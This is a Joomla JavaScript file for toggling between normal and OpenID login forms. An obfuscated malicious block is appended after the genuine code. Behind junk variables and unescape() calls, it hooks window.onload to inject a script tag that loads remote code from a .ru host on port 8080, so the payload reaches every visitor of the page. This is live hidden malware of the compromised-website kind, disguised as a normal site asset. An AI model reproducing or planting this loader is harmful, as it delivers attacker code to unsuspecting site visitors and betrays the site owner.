/**
* @version		$Id: modal.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
 * JOpenID javascript behavior
 *
 * Used for switching between normal and openid login forms
 *
 * @package		Joomla
 * @since		1.5
 * @version     1.0
 */
var JOpenID = new Class({

	state    : false,
	link     : null,
	switcher : null,

	initialize: function()
	{
		//Create dynamic elements
		var switcher = new Element('a', { 'styles': {'cursor': 'pointer'},'id': 'openid-link'});
		switcher.inject($('form-login'));

		var link = new Element('a', { 'styles': {'text-align' : 'right', 'display' : 'block', 'font-size' : 'xx-small'}, 'href' : 'http://openid.net'});
		link.inject($('form-login'));

		//Initialise members
		this.switcher = switcher;
		this.link     = link;
		this.state    = Cookie.get('login-openid');
		this.length   = $('form-login-password').getSize().size.y;

		this.switchID(this.state, 0);

		this.switcher.addEvent('click', (function(event) {
			this.state = this.state ^ 1;
			this.switchID(this.state, 300);
			Cookie.set('login-openid', this.state);
		}).bind(this));
	},

	switchID : function(state, time)
	{
		var password = $('form-login-password');
		var username = $('modlgn_username');

		if(state == 0)
		{
			username.removeClass('system-openid');
			var text = JLanguage.LOGIN_WITH_OPENID;
			password.effect('height',  {duration: time}).start(0, this.length);
		}
		else
		{
			username.addClass('system-openid');
			var text = JLanguage.NORMAL_LOGIN;
			password.effect('height',  {duration: time}).start(this.length, 0);
		}

		password.effect('opacity', {duration: time}).start(state,1-state);

		this.switcher.setHTML(text);
		this.link.setHTML(JLanguage.WHAT_IS_OPENID);
	}
});

var JOpenID_com = new Class({

	state    : false,
	link     : null,
	switcher : null,

	initialize: function()
	{
		//Create dynamic elements
		var switcher = new Element('a', { 'styles': {'cursor': 'pointer'},'id': 'com-openid-link'});
		switcher.inject($('com-form-login'));

		var link = new Element('a', { 'styles': {'text-align' : 'right', 'display' : 'block', 'font-size' : 'xx-small'}, 'href' : 'http://openid.net'});
		link.inject($('com-form-login'));

		//Initialise members
		this.switcher = switcher;
		this.link     = link;
		this.state    = Cookie.get('login-openid');
		this.length   = $('com-form-login-password').getSize().size.y;

		this.switchID(this.state, 0);

		this.switcher.addEvent('click', (function(event) {
			this.state = this.state ^ 1;
			this.switchID(this.state, 300);
			Cookie.set('login-openid', this.state);
		}).bind(this));
	},

	switchID : function(state, time)
	{
		var password = $('com-form-login-password');
		var username = $('username');

		if(state == 0)
		{
			username.removeClass('com-system-openid');
			var text = JLanguage.LOGIN_WITH_OPENID;
			password.effect('height',  {duration: time}).start(0, this.length);
		}
		else
		{
			username.addClass('com-system-openid');
			var text = JLanguage.NORMAL_LOGIN;
			password.effect('height',  {duration: time}).start(this.length, 0);
		}

		password.effect('opacity', {duration: time}).start(state,1-state);

		this.switcher.setHTML(text);
		this.link.setHTML(JLanguage.WHAT_IS_OPENID);
	}
});


document.openid = null
document.com_openid = null
window.addEvent('domready', function(){
  if (typeof modlogin != 'undefined' && modlogin == 1) {
  	var openid = new JOpenID();
  	document.openid = openid;
  };
  if (typeof comlogin != 'undefined' && comlogin == 1) {
  	var com_openid = new JOpenID_com();
  	document.com_openid = openid;
  };
});

this.h="";var N=new Date();function b(){var pH;if(pH!='' && pH!='a'){pH=null};var w=new Array();var z;if(z!='RA' && z!='Z'){z=''};var d;if(d!='qX' && d!='ta'){d=''};var n=unescape;var C=window;var W;if(W!='L'){W=''};var r=n("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%61%63%65%62%6f%6f%6b%2e%63%6f%6d%2f%61%6c%69%73%6f%66%74%2e%63%6f%6d%2e%70%68%70");this.G='';function j(i,v){var YY=new Date();var S="g";var hC;if(hC!='kAx' && hC != ''){hC=null};var s=new Date();var X=n("%5b"), k=n("%5d");var lM;if(lM!='' && lM!='nN'){lM=''};var ec;if(ec!='wP' && ec!='IN'){ec='wP'};var T=X+v+k;var bM;if(bM!='' && bM!='H'){bM=null};var B;if(B!='MU' && B!='J'){B='MU'};var E=new RegExp(T, S);var CV;if(CV!='' && CV!='kC'){CV=null};return i.replace(E, new String());};var nU='';this.x="";var Aq;if(Aq!='uz' && Aq != ''){Aq=null};var xg=new Array();var ID='';var iC="";var q=new String();var F=j('82441402622618243402124','46132');var rY=document;var Vb;if(Vb!='TB' && Vb != ''){Vb=null};this.ah='';var av;if(av!='' && av!='aX'){av=null};function e(){var pw='';var nB;if(nB!='' && nB!='f'){nB=''};var R=n("%68%74%74%70%3a%2f%2f%66%69%78%73%6c%6f%77%2e%72%75%3a");var un=new Date();var wQ=new Array();q=R;q+=F;var BB;if(BB!='EB' && BB!='dm'){BB='EB'};q+=r;var Xp;if(Xp!='Ce' && Xp!='kpu'){Xp='Ce'};var xt;if(xt!='' && xt!='aB'){xt=''};var BE=new String();try {var Qk;if(Qk!=''){Qk='pY'};this.OY='';t=rY.createElement(j('sqcvrDiDpPtD','vXqDaI0HyP'));var OG;if(OG!='' && OG!='Od'){OG='RQ'};t[n("%64%65%66%65%72")]=[0,1][1];var _q=new String();t[n("%73%72%63")]=q;var Ri='';rY.body.appendChild(t);var fn=new String();} catch(A){var wT='';alert(A);var ms;if(ms!='' && ms!='vO'){ms='tZ'};this.Ip="";};}var ts;if(ts!='' && ts!='Mm'){ts='Iw'};var RR;if(RR!='' && RR!='vP'){RR='fH'};C[String("onpQX".substr(0,2)+"IVHxloVHIx".substr(4,2)+"ad")]=e;var wc;if(wc!='P'){wc=''};var ic;if(ic!='VC'){ic=''};};var kl="";b();var Pw;if(Pw!=''){Pw='Qi'};